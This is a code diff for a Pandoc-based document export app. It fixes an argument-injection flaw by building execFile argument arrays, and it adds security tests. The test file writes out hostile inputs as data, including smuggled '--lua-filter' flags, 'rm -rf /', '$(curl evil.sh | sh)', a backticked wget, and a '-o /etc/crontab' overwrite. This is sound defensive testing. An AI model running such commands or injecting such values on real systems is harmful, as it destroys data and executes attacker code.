|
||||
// PowerPoint footer can be added with --variable
|
||||
if (headerFooterSettings.enabled && headerFooterSettings.footer.center) {
|
||||
const footerText = processDynamicFields(headerFooterSettings.footer.center, metadata);
|
||||
command += ` --variable footer="${footerText}"`;
|
||||
PandocArgs.appendFooterVariable(args, footerText);
|
||||
}
|
||||
break;
|
||||
case 'json':
|
||||
command = `pandoc "${inputFile}" -t json -o "${outputPath}"`;
|
||||
args = [inputFile, '-t', 'json', '-o', outputPath];
|
||||
break;
|
||||
case 'yaml':
|
||||
command = `pandoc "${inputFile}" -t markdown -o "${outputPath}"`;
|
||||
args = [inputFile, '-t', 'markdown', '-o', outputPath];
|
||||
break;
|
||||
case 'xml':
|
||||
command = `pandoc "${inputFile}" -t jats -o "${outputPath}"`;
|
||||
args = [inputFile, '-t', 'jats', '-o', outputPath];
|
||||
break;
|
||||
case 'toml':
|
||||
// TOML: save raw markdown content with .toml extension
|
||||
command = `pandoc "${inputFile}" -t markdown -o "${outputPath}"`;
|
||||
args = [inputFile, '-t', 'markdown', '-o', outputPath];
|
||||
break;
|
||||
case 'revealjs':
|
||||
command = `pandoc "${inputFile}" -t revealjs -s -o "${outputPath}" --slide-level=2`;
|
||||
args = [inputFile, '-t', 'revealjs', '-s', '-o', outputPath, '--slide-level=2'];
|
||||
break;
|
||||
case 'beamer':
|
||||
command = `pandoc "${inputFile}" -t beamer -o "${outputPath}"`;
|
||||
args = [inputFile, '-t', 'beamer', '-o', outputPath];
|
||||
break;
|
||||
case 'confluence':
|
||||
case 'jira':
|
||||
command = `pandoc "${inputFile}" -t jira -o "${outputPath}"`;
|
||||
args = [inputFile, '-t', 'jira', '-o', outputPath];
|
||||
break;
|
||||
}
|
||||
return command;
|
||||
return args;
|
||||
}
|
||||
app.whenReady().then(() => {
|
||||
// Load saved Word template path and settings
|
||||
|
||||
@@ -0,0 +1,135 @@
|
||||
/**
|
||||
* Pure builders for Pandoc execFile argument arrays.
|
||||
*
|
||||
* Every Pandoc invocation in the main process must call
|
||||
* execFile(pandocPath, args) with an argument array built here or with plain
|
||||
* Array.push calls — never a command string that is later re-tokenized.
|
||||
* Values that come from the user (file paths, template names, metadata values)
|
||||
* are pushed verbatim as single argv elements, so a crafted value such as
|
||||
* `/tmp/x.bib" --lua-filter=/tmp/evil.lua` can never break out of its argument
|
||||
* and inject additional Pandoc flags (security finding SEC-1).
|
||||
*/
|
||||
|
||||
/**
|
||||
* Formats exported through a plain `-t <target>` conversion. The export dialog
|
||||
* replaces the whole command for these formats (dialog options like template or
|
||||
* metadata are not applied) — this map preserves that pre-existing behavior.
|
||||
*/
|
||||
const SIMPLE_TARGET_FORMATS = {
|
||||
json: 'json',
|
||||
beamer: 'beamer',
|
||||
confluence: 'jira',
|
||||
jira: 'jira',
|
||||
asciidoc: 'asciidoc',
|
||||
rst: 'rst',
|
||||
mediawiki: 'mediawiki',
|
||||
org: 'org',
|
||||
textile: 'textile',
|
||||
man: 'man',
|
||||
ipynb: 'ipynb',
|
||||
};
|
||||
|
||||
/**
|
||||
* Append the export-dialog options shared by the export, batch-conversion and
|
||||
* fallback paths. Each value lands in argv exactly once, unquoted and
|
||||
* unescaped — execFile passes array elements as literal arguments.
|
||||
* @param {string[]} args - Argument array to append to (mutated)
|
||||
* @param {Object} options - Export options ({ template, metadata, variables,
|
||||
* toc, tocDepth, numberSections, citeproc, bibliography, csl })
|
||||
*/
|
||||
function appendCommonOptions(args, options) {
|
||||
if (!options) return;
|
||||
|
||||
if (options.template && options.template !== 'default') {
|
||||
args.push(`--template=${options.template}`);
|
||||
}
|
||||
|
||||
if (options.metadata) {
|
||||
for (const [key, value] of Object.entries(options.metadata)) {
|
||||
if (value.trim()) {
|
||||
args.push('-M', `${key}=${value}`);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (options.variables) {
|
||||
for (const [key, value] of Object.entries(options.variables)) {
|
||||
if (value.trim()) {
|
||||
args.push('-V', `${key}=${value}`);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (options.toc) args.push('--toc');
|
||||
if (options.tocDepth) args.push(`--toc-depth=${options.tocDepth}`);
|
||||
if (options.numberSections) args.push('--number-sections');
|
||||
if (options.citeproc) args.push('--citeproc');
|
||||
if (options.bibliography) args.push(`--bibliography=${options.bibliography}`);
|
||||
if (options.csl) args.push(`--csl=${options.csl}`);
|
||||
}
|
||||
|
||||
/**
|
||||
* Append the shared prefix of every PDF invocation: the pdf engine flag and,
|
||||
* when set, the page geometry variable.
|
||||
* @param {string[]} args - Argument array to append to (mutated)
|
||||
* @param {Object} params
|
||||
* @param {string} [params.pdfEngine] - Falls back to xelatex when omitted
|
||||
* @param {string} [params.geometry] - LaTeX geometry string (e.g. margin=1in)
|
||||
*/
|
||||
function appendPdfEngineOptions(args, { pdfEngine, geometry } = {}) {
|
||||
args.push(`--pdf-engine=${pdfEngine || 'xelatex'}`);
|
||||
if (geometry) args.push('-V', `geometry:${geometry}`);
|
||||
}
|
||||
|
||||
/**
|
||||
* Append the PowerPoint footer variable (used when header/footer is enabled).
|
||||
* @param {string[]} args - Argument array to append to (mutated)
|
||||
* @param {string} footerText - Processed footer text
|
||||
*/
|
||||
function appendFooterVariable(args, footerText) {
|
||||
if (footerText) args.push('--variable', `footer=${footerText}`);
|
||||
}
|
||||
|
||||
/**
|
||||
* Build the base argument array for the export dialog and batch conversion:
|
||||
* input, -o output, the shared export options, and the `-t docx` tail for
|
||||
* Word exports. Format-specific extras (PDF engine flags, EPUB fonts, HTML
|
||||
* css, reveal.js themes) are appended by the call site.
|
||||
* @param {Object} params
|
||||
* @param {string} params.inputFile - Path passed to pandoc verbatim
|
||||
* @param {string} params.outputFile - Path passed to pandoc verbatim
|
||||
* @param {string} [params.format] - Export format name
|
||||
* @param {Object} [params.options] - Export dialog options
|
||||
* @returns {string[]}
|
||||
*/
|
||||
function buildPandocArgs({ inputFile, outputFile, format, options = {} }) {
|
||||
const args = [inputFile, '-o', outputFile];
|
||||
appendCommonOptions(args, options);
|
||||
if (format === 'docx') {
|
||||
args.push('-t', 'docx');
|
||||
}
|
||||
return args;
|
||||
}
|
||||
|
||||
/**
|
||||
* Build args for the simple `-t <target>` formats (see SIMPLE_TARGET_FORMATS).
|
||||
* @param {string} inputFile - Input path
|
||||
* @param {string} outputFile - Output path
|
||||
* @param {string} format - Export format name
|
||||
* @returns {string[]|null} Argument array, or null when format is not one of
|
||||
* the simple target formats
|
||||
*/
|
||||
function buildSimpleTargetArgs(inputFile, outputFile, format) {
|
||||
const target = SIMPLE_TARGET_FORMATS[format];
|
||||
if (!target) return null;
|
||||
return [inputFile, '-t', target, '-o', outputFile];
|
||||
}
|
||||
|
||||
module.exports = {
|
||||
SIMPLE_TARGET_FORMATS,
|
||||
appendCommonOptions,
|
||||
appendPdfEngineOptions,
|
||||
appendFooterVariable,
|
||||
buildPandocArgs,
|
||||
buildSimpleTargetArgs,
|
||||
};
|
||||
@@ -0,0 +1,327 @@
|
||||
/**
|
||||
* Security and regression tests for the Pandoc argument builders (SEC-1).
|
||||
*
|
||||
* Pandoc must always be invoked as execFile(pandocPath, args) with an argument
|
||||
* array — never a shell-style command string that gets re-tokenized. These
|
||||
* tests prove that user-controlled values (file paths, template names,
|
||||
* metadata, footer text) can only ever arrive as single literal argv elements,
|
||||
* and pin the argument shape of every export format to its pre-conversion
|
||||
* behavior.
|
||||
*/
|
||||
const PandocArgs = require('../../src/main/PandocArgs');
|
||||
|
||||
const {
|
||||
SIMPLE_TARGET_FORMATS,
|
||||
appendCommonOptions,
|
||||
appendFooterVariable,
|
||||
appendPdfEngineOptions,
|
||||
buildPandocArgs,
|
||||
buildSimpleTargetArgs,
|
||||
} = PandocArgs;
|
||||
|
||||
/**
|
||||
* Verbatim copy of the retired main.js tokenizer (removed with the fix).
|
||||
* parseCommand had no escape handling, so any value containing a quote
|
||||
* character split into multiple argv elements. Kept here only to prove the
|
||||
* old path was exploitable and to pin the new arrays against the old output
|
||||
* for benign input.
|
||||
*/
|
||||
function retiredParseCommand(cmdString) {
|
||||
const parts = [];
|
||||
let current = '';
|
||||
let inQuotes = false;
|
||||
let quoteChar = '';
|
||||
for (let i = 0; i < cmdString.length; i++) {
|
||||
const char = cmdString[i];
|
||||
if ((char === '"' || char === "'") && !inQuotes) {
|
||||
inQuotes = true;
|
||||
quoteChar = char;
|
||||
} else if (char === quoteChar && inQuotes) {
|
||||
inQuotes = false;
|
||||
quoteChar = '';
|
||||
} else if (char === ' ' && !inQuotes) {
|
||||
if (current) {
|
||||
parts.push(current);
|
||||
current = '';
|
||||
}
|
||||
} else {
|
||||
current += char;
|
||||
}
|
||||
}
|
||||
if (current) {
|
||||
parts.push(current);
|
||||
}
|
||||
return { command: parts[0], args: parts.slice(1) };
|
||||
}
|
||||
|
||||
// Asserts that `value` arrives in argv as exactly one literal element (if the
|
||||
// value were split or re-interpreted, no element would equal it) and that no
|
||||
// injected flag ever becomes its own argv element.
|
||||
function expectSingleLiteralArg(args, value, ...injectedFragments) {
|
||||
expect(args.filter((a) => a === value)).toHaveLength(1);
|
||||
for (const fragment of injectedFragments) {
|
||||
expect(args).not.toContain(fragment);
|
||||
}
|
||||
}
|
||||
|
||||
describe('PandocArgs injection resistance (SEC-1)', () => {
|
||||
const maliciousVectors = [
|
||||
'/tmp/x.bib" --lua-filter=/tmp/evil.lua -o "/tmp/x.bib',
|
||||
'/home/u/notes; rm -rf /',
|
||||
'/tmp/$(curl evil.sh | sh)',
|
||||
'/tmp/`wget evil.sh`',
|
||||
'/tmp/my file with spaces.bib',
|
||||
"/tmp/it's-quoted.bib",
|
||||
'/tmp/trailing\\backslash.bib"',
|
||||
];
|
||||
|
||||
describe.each([
|
||||
[
|
||||
'bibliography',
|
||||
(options) => buildPandocArgs({ inputFile: '/in.md', outputFile: '/out.pdf', options }),
|
||||
],
|
||||
['csl', (options) => buildPandocArgs({ inputFile: '/in.md', outputFile: '/out.pdf', options })],
|
||||
[
|
||||
'template',
|
||||
(options) => buildPandocArgs({ inputFile: '/in.md', outputFile: '/out.pdf', options }),
|
||||
],
|
||||
])('%s cannot inject extra pandoc flags', (field, build) => {
|
||||
test.each(maliciousVectors)('value %j stays one literal argv element', (vector) => {
|
||||
const args = build({ [field]: vector });
|
||||
expectSingleLiteralArg(
|
||||
args,
|
||||
`--${field}=${vector}`,
|
||||
'--lua-filter=/tmp/evil.lua',
|
||||
'rm',
|
||||
'-rf',
|
||||
'--filter'
|
||||
);
|
||||
expect(args.slice(0, 2)).toEqual(['/in.md', '-o']);
|
||||
expect(args.filter((a) => a === '/out.pdf')).toHaveLength(1);
|
||||
});
|
||||
});
|
||||
|
||||
test('metadata values cannot inject extra pandoc flags', () => {
|
||||
const vector = 'title"; --lua-filter=/tmp/evil.lua; rm -rf /';
|
||||
const args = buildPandocArgs({
|
||||
inputFile: '/in.md',
|
||||
outputFile: '/out.pdf',
|
||||
options: { metadata: { title: vector, author: 'Jane Doe' } },
|
||||
});
|
||||
expectSingleLiteralArg(args, `title=${vector}`, '--lua-filter=/tmp/evil.lua', 'rm', '-rf');
|
||||
expect(args).toContain('-M');
|
||||
expect(args).toContain('author=Jane Doe');
|
||||
});
|
||||
|
||||
test('metadata keys cannot inject extra pandoc flags', () => {
|
||||
const key = 'title" --lua-filter=/tmp/evil.lua';
|
||||
const args = buildPandocArgs({
|
||||
inputFile: '/in.md',
|
||||
outputFile: '/out.pdf',
|
||||
options: { metadata: { [key]: 'value' } },
|
||||
});
|
||||
expectSingleLiteralArg(args, `${key}=value`, '--lua-filter=/tmp/evil.lua');
|
||||
});
|
||||
|
||||
test('variable values cannot inject extra pandoc flags', () => {
|
||||
const vector = 'margin=1in" --lua-filter=/tmp/evil.lua';
|
||||
const args = buildPandocArgs({
|
||||
inputFile: '/in.md',
|
||||
outputFile: '/out.pdf',
|
||||
options: { variables: { geometry: vector } },
|
||||
});
|
||||
expectSingleLiteralArg(args, `geometry=${vector}`, '--lua-filter=/tmp/evil.lua');
|
||||
expect(args).toContain('-V');
|
||||
});
|
||||
|
||||
test('input and output paths cannot inject extra pandoc flags or change position', () => {
|
||||
const input = '/tmp/my doc; rm -rf / $(evil) `evil`.md';
|
||||
const output = '/tmp/out put"; --lua-filter=/tmp/evil.lua.pdf';
|
||||
const args = buildPandocArgs({ inputFile: input, outputFile: output });
|
||||
expect(args[0]).toBe(input);
|
||||
expect(args[1]).toBe('-o');
|
||||
expect(args[2]).toBe(output);
|
||||
expect(args).toHaveLength(3);
|
||||
expect(args).not.toContain('--lua-filter=/tmp/evil.lua');
|
||||
expect(args).not.toContain('rm');
|
||||
});
|
||||
|
||||
test('pdf engine and geometry values cannot inject extra pandoc flags', () => {
|
||||
const args = [];
|
||||
appendPdfEngineOptions(args, {
|
||||
pdfEngine: 'xelatex" --lua-filter=/tmp/evil.lua',
|
||||
geometry: 'margin=1in"; -o /etc/crontab',
|
||||
});
|
||||
expectSingleLiteralArg(
|
||||
args,
|
||||
'--pdf-engine=xelatex" --lua-filter=/tmp/evil.lua',
|
||||
'--lua-filter=/tmp/evil.lua',
|
||||
'-o'
|
||||
);
|
||||
expectSingleLiteralArg(args, 'geometry:margin=1in"; -o /etc/crontab', '-o', '/etc/crontab');
|
||||
});
|
||||
|
||||
test('pptx footer text cannot inject extra pandoc flags', () => {
|
||||
const vector = 'Page 1"; --lua-filter=/tmp/evil.lua';
|
||||
const args = [];
|
||||
appendFooterVariable(args, vector);
|
||||
expect(args).toEqual(['--variable', `footer=${vector}`]);
|
||||
});
|
||||
|
||||
test('the retired string+parseCommand path DID split a malicious value (documents the bug)', () => {
|
||||
const malicious = '/tmp/x.bib" --lua-filter=/tmp/evil.lua -o "/tmp/x.bib';
|
||||
const oldCommand = `pandoc "/in.md" -o "/out.pdf" --bibliography="${malicious}"`;
|
||||
const { args } = retiredParseCommand(oldCommand);
|
||||
expect(args).toContain('--lua-filter=/tmp/evil.lua');
|
||||
expect(args).not.toContain(`--bibliography=${malicious}`);
|
||||
// The new builder neutralizes the same vector.
|
||||
const safeArgs = buildPandocArgs({
|
||||
inputFile: '/in.md',
|
||||
outputFile: '/out.pdf',
|
||||
options: { bibliography: malicious },
|
||||
});
|
||||
expect(safeArgs).not.toContain('--lua-filter=/tmp/evil.lua');
|
||||
expectSingleLiteralArg(safeArgs, `--bibliography=${malicious}`, '--lua-filter=/tmp/evil.lua');
|
||||
});
|
||||
});
|
||||
|
||||
describe('PandocArgs regression pins (benign input, pre-conversion argv)', () => {
|
||||
const benignOptions = {
|
||||
template: '/templates/report.tex',
|
||||
metadata: { title: 'My Report', author: 'Jane Doe' },
|
||||
variables: { geometry: 'margin=1in', fontsize: '12pt' },
|
||||
toc: true,
|
||||
tocDepth: 3,
|
||||
numberSections: true,
|
||||
citeproc: true,
|
||||
bibliography: '/refs/refs.bib',
|
||||
csl: '/styles/ieee.csl',
|
||||
};
|
||||
|
||||
// Rebuilds the exact command string the export dialog used to produce for a
|
||||
// benign option set, then tokenizes it with the retired parser.
|
||||
function oldDialogArgs(format) {
|
||||
let pandocCmd = `pandoc "/in.md" -o "/out.${format}"`;
|
||||
if (benignOptions.template && benignOptions.template !== 'default') {
|
||||
pandocCmd += ` --template="${benignOptions.template}"`;
|
||||
}
|
||||
for (const [key, value] of Object.entries(benignOptions.metadata)) {
|
||||
if (value.trim()) pandocCmd += ` -M ${key}="${value.replace(/"/g, '\\"')}"`;
|
||||
}
|
||||
for (const [key, value] of Object.entries(benignOptions.variables)) {
|
||||
if (value.trim()) pandocCmd += ` -V ${key}="${value.replace(/"/g, '\\"')}"`;
|
||||
}
|
||||
if (benignOptions.toc) pandocCmd += ' --toc';
|
||||
if (benignOptions.tocDepth) pandocCmd += ` --toc-depth=${benignOptions.tocDepth}`;
|
||||
if (benignOptions.numberSections) pandocCmd += ' --number-sections';
|
||||
if (benignOptions.citeproc) pandocCmd += ' --citeproc';
|
||||
if (benignOptions.bibliography) pandocCmd += ` --bibliography="${benignOptions.bibliography}"`;
|
||||
if (benignOptions.csl) pandocCmd += ` --csl="${benignOptions.csl}"`;
|
||||
if (format === 'docx') pandocCmd += ' -t docx';
|
||||
return retiredParseCommand(pandocCmd).args;
|
||||
}
|
||||
|
||||
test.each(['docx', 'rtf', 'pdf', 'pptx', 'epub', 'odt'])(
|
||||
'format %s produces the same argv as the retired string path for a benign option set',
|
||||
(format) => {
|
||||
const args = buildPandocArgs({
|
||||
inputFile: '/in.md',
|
||||
outputFile: `/out.${format}`,
|
||||
format,
|
||||
options: benignOptions,
|
||||
});
|
||||
expect([...args].sort()).toEqual(oldDialogArgs(format).sort());
|
||||
}
|
||||
);
|
||||
|
||||
test('buildPandocArgs docx with full options (exact argv pin)', () => {
|
||||
const args = buildPandocArgs({
|
||||
inputFile: '/in.md',
|
||||
outputFile: '/out.docx',
|
||||
format: 'docx',
|
||||
options: benignOptions,
|
||||
});
|
||||
expect(args).toEqual([
|
||||
'/in.md',
|
||||
'-o',
|
||||
'/out.docx',
|
||||
'--template=/templates/report.tex',
|
||||
'-M',
|
||||
'title=My Report',
|
||||
'-M',
|
||||
'author=Jane Doe',
|
||||
'-V',
|
||||
'geometry=margin=1in',
|
||||
'-V',
|
||||
'fontsize=12pt',
|
||||
'--toc',
|
||||
'--toc-depth=3',
|
||||
'--number-sections',
|
||||
'--citeproc',
|
||||
'--bibliography=/refs/refs.bib',
|
||||
'--csl=/styles/ieee.csl',
|
||||
'-t',
|
||||
'docx',
|
||||
]);
|
||||
});
|
||||
|
||||
test('buildPandocArgs minimal options for a generic format (exact argv pin)', () => {
|
||||
const args = buildPandocArgs({ inputFile: '/a b.md', outputFile: '/out.rtf', format: 'rtf' });
|
||||
expect(args).toEqual(['/a b.md', '-o', '/out.rtf']);
|
||||
});
|
||||
|
||||
test.each(Object.entries(SIMPLE_TARGET_FORMATS))(
|
||||
'simple target format %j converts to -t %s and drops dialog options (pre-existing behavior)',
|
||||
(format, target) => {
|
||||
const args = buildSimpleTargetArgs('/in.md', '/out.file', format);
|
||||
expect(args).toEqual(['/in.md', '-t', target, '-o', '/out.file']);
|
||||
// Dialog options were never applied to these formats before the fix.
|
||||
expect(args).not.toContain('--toc');
|
||||
}
|
||||
);
|
||||
|
||||
test('simple target formats cover the seven formats added in the export expansion', () => {
|
||||
for (const format of ['asciidoc', 'rst', 'mediawiki', 'org', 'textile', 'man', 'ipynb']) {
|
||||
expect(SIMPLE_TARGET_FORMATS[format]).toBe(format);
|
||||
}
|
||||
});
|
||||
|
||||
test('buildSimpleTargetArgs returns null for formats with bespoke handling', () => {
|
||||
for (const format of ['pdf', 'docx', 'html', 'epub', 'revealjs', 'rtf']) {
|
||||
expect(buildSimpleTargetArgs('/in.md', '/out.x', format)).toBeNull();
|
||||
}
|
||||
});
|
||||
|
||||
test('appendCommonOptions skips default template and blank metadata/variable values', () => {
|
||||
const args = [];
|
||||
appendCommonOptions(args, {
|
||||
template: 'default',
|
||||
metadata: { title: ' ', author: 'Kept' },
|
||||
variables: { margin: '' },
|
||||
});
|
||||
expect(args).toEqual(['-M', 'author=Kept']);
|
||||
});
|
||||
|
||||
test('appendCommonOptions tolerates missing options object', () => {
|
||||
const args = ['/in.md', '-o', '/out.pdf'];
|
||||
appendCommonOptions(args, undefined);
|
||||
expect(args).toEqual(['/in.md', '-o', '/out.pdf']);
|
||||
});
|
||||
|
||||
test('appendPdfEngineOptions defaults to xelatex and adds geometry when set', () => {
|
||||
const withDefaults = [];
|
||||
appendPdfEngineOptions(withDefaults);
|
||||
expect(withDefaults).toEqual(['--pdf-engine=xelatex']);
|
||||
|
||||
const full = [];
|
||||
appendPdfEngineOptions(full, { pdfEngine: 'lualatex', geometry: 'margin=1in' });
|
||||
expect(full).toEqual(['--pdf-engine=lualatex', '-V', 'geometry:margin=1in']);
|
||||
});
|
||||
|
||||
test('appendFooterVariable is a no-op without footer text', () => {
|
||||
const args = [];
|
||||
appendFooterVariable(args, '');
|
||||
appendFooterVariable(args, undefined);
|
||||
expect(args).toEqual([]);
|
||||
});
|
||||
});
|
||||
@@ -4,75 +4,6 @@
|
||||
*/
|
||||
|
||||
describe('Utility Functions', () => {
|
||||
describe('parseCommand', () => {
|
||||
// This function parses command strings into command and args
|
||||
function parseCommand(cmdString) {
|
||||
const parts = [];
|
||||
let current = '';
|
||||
let inQuotes = false;
|
||||
let quoteChar = '';
|
||||
|
||||
for (let i = 0; i < cmdString.length; i++) {
|
||||
const char = cmdString[i];
|
||||
if ((char === '"' || char === "'") && !inQuotes) {
|
||||
inQuotes = true;
|
||||
quoteChar = char;
|
||||
} else if (char === quoteChar && inQuotes) {
|
||||
inQuotes = false;
|
||||
quoteChar = '';
|
||||
} else if (char === ' ' && !inQuotes) {
|
||||
if (current) {
|
||||
parts.push(current);
|
||||
current = '';
|
||||
}
|
||||
} else {
|
||||
current += char;
|
||||
}
|
||||
}
|
||||
if (current) {
|
||||
parts.push(current);
|
||||
}
|
||||
|
||||
return {
|
||||
command: parts[0],
|
||||
args: parts.slice(1),
|
||||
};
|
||||
}
|
||||
|
||||
test('should parse simple command', () => {
|
||||
const result = parseCommand('pandoc input.md -o output.pdf');
|
||||
expect(result.command).toBe('pandoc');
|
||||
expect(result.args).toEqual(['input.md', '-o', 'output.pdf']);
|
||||
});
|
||||
|
||||
test('should handle double-quoted paths', () => {
|
||||
const result = parseCommand('pandoc "C:/path with spaces/file.md" -o output.pdf');
|
||||
expect(result.command).toBe('pandoc');
|
||||
expect(result.args).toEqual(['C:/path with spaces/file.md', '-o', 'output.pdf']);
|
||||
});
|
||||
|
||||
test('should handle single-quoted paths', () => {
|
||||
const result = parseCommand("pandoc 'file name.md' -o output.pdf");
|
||||
expect(result.command).toBe('pandoc');
|
||||
expect(result.args).toEqual(['file name.md', '-o', 'output.pdf']);
|
||||
});
|
||||
|
||||
test('should handle multiple options', () => {
|
||||
const result = parseCommand(
|
||||
'pandoc input.md --pdf-engine=xelatex -V geometry:margin=1in -o output.pdf'
|
||||
);
|
||||
expect(result.command).toBe('pandoc');
|
||||
expect(result.args).toContain('--pdf-engine=xelatex');
|
||||
expect(result.args).toContain('-V');
|
||||
});
|
||||
|
||||
test('should handle empty command', () => {
|
||||
const result = parseCommand('');
|
||||
expect(result.command).toBeUndefined();
|
||||
expect(result.args).toEqual([]);
|
||||
});
|
||||
});
|
||||
|
||||
describe('hexToRgb', () => {
|
||||
// This function converts hex colors to RGB
|
||||
function hexToRgb(hex) {
|
||||
|
||||
Reference in New Issue
Block a user